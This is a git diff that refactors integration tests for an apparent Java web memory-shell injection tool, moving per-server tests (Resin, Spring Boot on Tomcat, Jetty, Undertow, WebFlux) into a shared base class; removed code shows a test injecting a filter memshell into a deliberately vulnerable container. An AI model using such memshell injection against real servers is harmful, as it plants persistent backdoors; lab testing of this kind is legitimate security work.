com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Resin4067ContainerTest { - public static final String imageName = "reajason/resin:4.0.67-jdk11"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|11.0.16|55", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Resin, data); - } +public class Resin4067ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Resin, Opcodes.V11); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.resin("reajason/resin:4.0.67-jdk11", "/usr/local/resin4/webapps/app.war") + .expectedJdkVersion("JDK|11.0.16|55") + .targetJdkVersion(Opcodes.V11) + .build(); - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V11); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Resin)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Resin, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Resin)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } -} \ No newline at end of file +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot2WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot2WebFluxContainerTest.java index 1d937b11..16a12e5d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot2WebFluxContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot2WebFluxContainerTest.java @@ -1,57 +1,34 @@ package com.reajason.javaweb.integration.probe.springwebflux; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.Test; +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; - -import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot; -import static com.reajason.javaweb.integration.ContainerTool.springBoot2WebfluxDockerfile; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/22 */ @Testcontainers -@Slf4j -public class SpringBoot2WebFluxContainerTest { - public static final String imageName = "springboot2-webflux"; - @Container - public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(springBoot2WebfluxDockerfile)) - .waitingFor(Wait.forHttp("/test")) - .withExposedPorts(8080); +public class SpringBoot2WebFluxContainerTest extends AbstractProbeContainerTest { - @Test - void testJDK() { - String url = getUrlFromSpringBoot(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_472|52", data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig + .springwebflux("eclipse-temurin:8u472-b08-jdk", ContainerTool.springBoot2WebfluxJarFile) + .expectedJdkVersion("JDK|1.8.0_472|52") + .build(); + + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrlFromSpringBoot(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testServerDetection() { - String url = getUrlFromSpringBoot(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.SpringWebFlux, data); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot3WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot3WebFluxContainerTest.java index 6d76aed1..b218b574 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot3WebFluxContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot3WebFluxContainerTest.java @@ -1,57 +1,34 @@ package com.reajason.javaweb.integration.probe.springwebflux; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.Test; +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; - -import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot; -import static com.reajason.javaweb.integration.ContainerTool.springBoot3WebfluxDockerfile; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/22 */ @Testcontainers -@Slf4j -public class SpringBoot3WebFluxContainerTest { - public static final String imageName = "springboot3-webflux"; - @Container - public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(springBoot3WebfluxDockerfile)) - .waitingFor(Wait.forHttp("/test")) - .withExposedPorts(8080); +public class SpringBoot3WebFluxContainerTest extends AbstractProbeContainerTest { - @Test - void testJDK() { - String url = getUrlFromSpringBoot(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|17.0.17|61", data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig + .springwebflux("eclipse-temurin:17.0.17_10-jdk", ContainerTool.springBoot3WebfluxJarFile) + .expectedJdkVersion("JDK|17.0.17|61") + .build(); + + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrlFromSpringBoot(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testServerDetection() { - String url = getUrlFromSpringBoot(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.SpringWebFlux, data); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot1ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot1ContainerTest.java index 909eb3c9..01b0699d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot1ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot1ContainerTest.java @@ -1,80 +1,36 @@ package com.reajason.javaweb.integration.probe.springwebmvc; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; - -import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot; -import static com.reajason.javaweb.integration.ContainerTool.springBoot1Dockerfile; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/22 */ @Testcontainers -@Slf4j -public class SpringBoot1ContainerTest { - public static final String imageName = "springboot1"; - @Container - public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(springBoot1Dockerfile)) - .waitingFor(Wait.forHttp("/test")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrlFromSpringBoot(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_472|52", data); - } +public class SpringBoot1ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrlFromSpringBoot(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrlFromSpringBoot(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Tomcat, data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig + .springboot("eclipse-temurin:8u472-b08-jdk", ContainerTool.springBoot1JarFile) + .expectedJdkVersion("JDK|1.8.0_472|52") + .targetJdkVersion(Opcodes.V1_6) + .build(); - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrlFromSpringBoot(container); - ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - @SneakyThrows - void testCommandReqHeaderResponseBodySpring() { - String url = getUrlFromSpringBoot(container); - ProbeAssertion.responseCommandIsOk(url, Server.SpringWebMvc, Opcodes.V1_6); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrlFromSpringBoot(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6); + @Override + protected GenericContainer getContainer() { + return container; } -} \ No newline at end of file +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2ContainerTest.java index 7e32f2a7..4aa2b52a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2ContainerTest.java @@ -1,81 +1,36 @@ package com.reajason.javaweb.integration.probe.springwebmvc; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; - -import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot; -import static com.reajason.javaweb.integration.ContainerTool.springBoot2Dockerfile; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/22 */ @Testcontainers -@Slf4j -public class SpringBoot2ContainerTest { - public static final String imageName = "springboot2"; - - @Container - public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(springBoot2Dockerfile)) - .waitingFor(Wait.forHttp("/test")) - .withExposedPorts(8080); +public class SpringBoot2ContainerTest extends AbstractProbeContainerTest { - @Test - void testJDK() { - String url = getUrlFromSpringBoot(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_472|52", data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig + .springboot("eclipse-temurin:8u472-b08-jdk", ContainerTool.springBoot2JarFile) + .expectedJdkVersion("JDK|1.8.0_472|52") + .targetJdkVersion(Opcodes.V1_6) + .build(); - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrlFromSpringBoot(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrlFromSpringBoot(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Tomcat, data); - } - - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrlFromSpringBoot(container); - ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - @SneakyThrows - void testCommandReqHeaderResponseBodySpring() { - String url = getUrlFromSpringBoot(container); - ProbeAssertion.responseCommandIsOk(url, Server.SpringWebMvc, Opcodes.V1_6); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrlFromSpringBoot(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2JettyContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2JettyContainerTest.java index b93661e9..0f0403f2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2JettyContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2JettyContainerTest.java @@ -1,74 +1,37 @@ package com.reajason.javaweb.integration.probe.springwebmvc; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; - -import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot; -import static com.reajason.javaweb.integration.ContainerTool.springBoot2JettyDockerfile; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/22 */ @Testcontainers -@Slf4j -public class SpringBoot2JettyContainerTest { - public static final String imageName = "springboot2-jetty"; +public class SpringBoot2JettyContainerTest extends AbstractProbeContainerTest { - @Container - public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(springBoot2JettyDockerfile)) - .waitingFor(Wait.forHttp("/test")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrlFromSpringBoot(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_472|52", data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig + .springbootJetty("eclipse-temurin:8u472-b08-jdk", ContainerTool.springBoot2JettyJarFile) + .expectedJdkVersion("JDK|1.8.0_472|52") + .targetJdkVersion(Opcodes.V1_6) + .supportsSpringWebMvc(false) + .build(); - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrlFromSpringBoot(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrlFromSpringBoot(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Jetty, data); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrlFromSpringBoot(container); - ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_6); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrlFromSpringBoot(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2UndertowContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2UndertowContainerTest.java index 0f28d517..a8eaa5c8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2UndertowContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2UndertowContainerTest.java @@ -1,73 +1,37 @@ package com.reajason.javaweb.integration.probe.springwebmvc; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; - -import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot; -import static com.reajason.javaweb.integration.ContainerTool.springBoot2UndertowDockerfile; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/22 */ @Testcontainers -@Slf4j -public class SpringBoot2UndertowContainerTest { - public static final String imageName = "springboot2-undertow"; - @Container - public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(springBoot2UndertowDockerfile)) - .waitingFor(Wait.forHttp("/test")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrlFromSpringBoot(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_472|52", data); - } +public class SpringBoot2UndertowContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrlFromSpringBoot(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig + .springbootUndertow("eclipse-temurin:8u472-b08-jdk", ContainerTool.springBoot2UndertowJarFile) + .expectedJdkVersion("JDK|1.8.0_472|52") + .targetJdkVersion(Opcodes.V1_6) + .supportsSpringWebMvc(false) + .build(); - @Test - void testServerDetection() { - String url = getUrlFromSpringBoot(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Undertow, data); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrlFromSpringBoot(container); - ProbeAssertion.responseCommandIsOk(url, Server.Undertow, Opcodes.V1_6); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrlFromSpringBoot(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_6); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2WarContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2WarContainerTest.java index b79bba33..cc1ffc5b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2WarContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2WarContainerTest.java @@ -1,81 +1,48 @@ package com.reajason.javaweb.integration.probe.springwebmvc; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.Test; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.junitpioneer.jupiter.RetryingTest; -import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.springBoot2WarFile; -import static org.junit.jupiter.api.Assertions.assertEquals; /** * @author ReaJason * @since 2024/12/22 */ @Testcontainers -@Slf4j -public class SpringBoot2WarContainerTest { - public static final String imageName = "tomcat:8-jre8"; +public class SpringBoot2WarContainerTest extends AbstractProbeContainerTest { + + private static final ProbeTestConfig CONFIG = ProbeTestConfig.tomcat("tomcat:8-jre8") + .warFile(springBoot2WarFile) + .expectedJdkVersion("JRE|1.8.0_402|52") + .targetJdkVersion(Opcodes.V1_6) + .supportsSpringWebMvc(true) + .supportsScriptEngine(false) + .supportsFilterProbe(false) + .supportsBytecodeWithoutPrefix(false) + .build(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(springBoot2WarFile, "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); + public static final GenericContainer container = buildContainer(CONFIG); - @RetryingTest(3) - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|1.8.0_402|52", data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + @Override + protected GenericContainer getContainer() { + return container; } - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Tomcat, data); - } - - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6); - } - - @Test - @SneakyThrows - void testCommandReqHeaderResponseBodySpring() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.SpringWebMvc, Opcodes.V1_6); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6); + @Override + @RetryingTest(3) + protected void testJDK() { + doTestJDK(); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot3ContainerTest.java index 4295cf77..5bed9282 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot3ContainerTest.java @@ -1,80 +1,36 @@ package com.reajason.javaweb.integration.probe.springwebmvc; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; - -import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot; -import static com.reajason.javaweb.integration.ContainerTool.springBoot3Dockerfile; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/22 */ @Testcontainers -@Slf4j -public class SpringBoot3ContainerTest { - public static final String imageName = "springboot3"; - @Container - public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(springBoot3Dockerfile)) - .waitingFor(Wait.forHttp("/test")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrlFromSpringBoot(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|17.0.17|61", data); - } +public class SpringBoot3ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrlFromSpringBoot(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrlFromSpringBoot(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Tomcat, data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig + .springboot("eclipse-temurin:17.0.17_10-jdk", ContainerTool.springBoot3JarFile) + .expectedJdkVersion("JDK|17.0.17|61") + .targetJdkVersion(Opcodes.V17) + .build(); - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrlFromSpringBoot(container); - 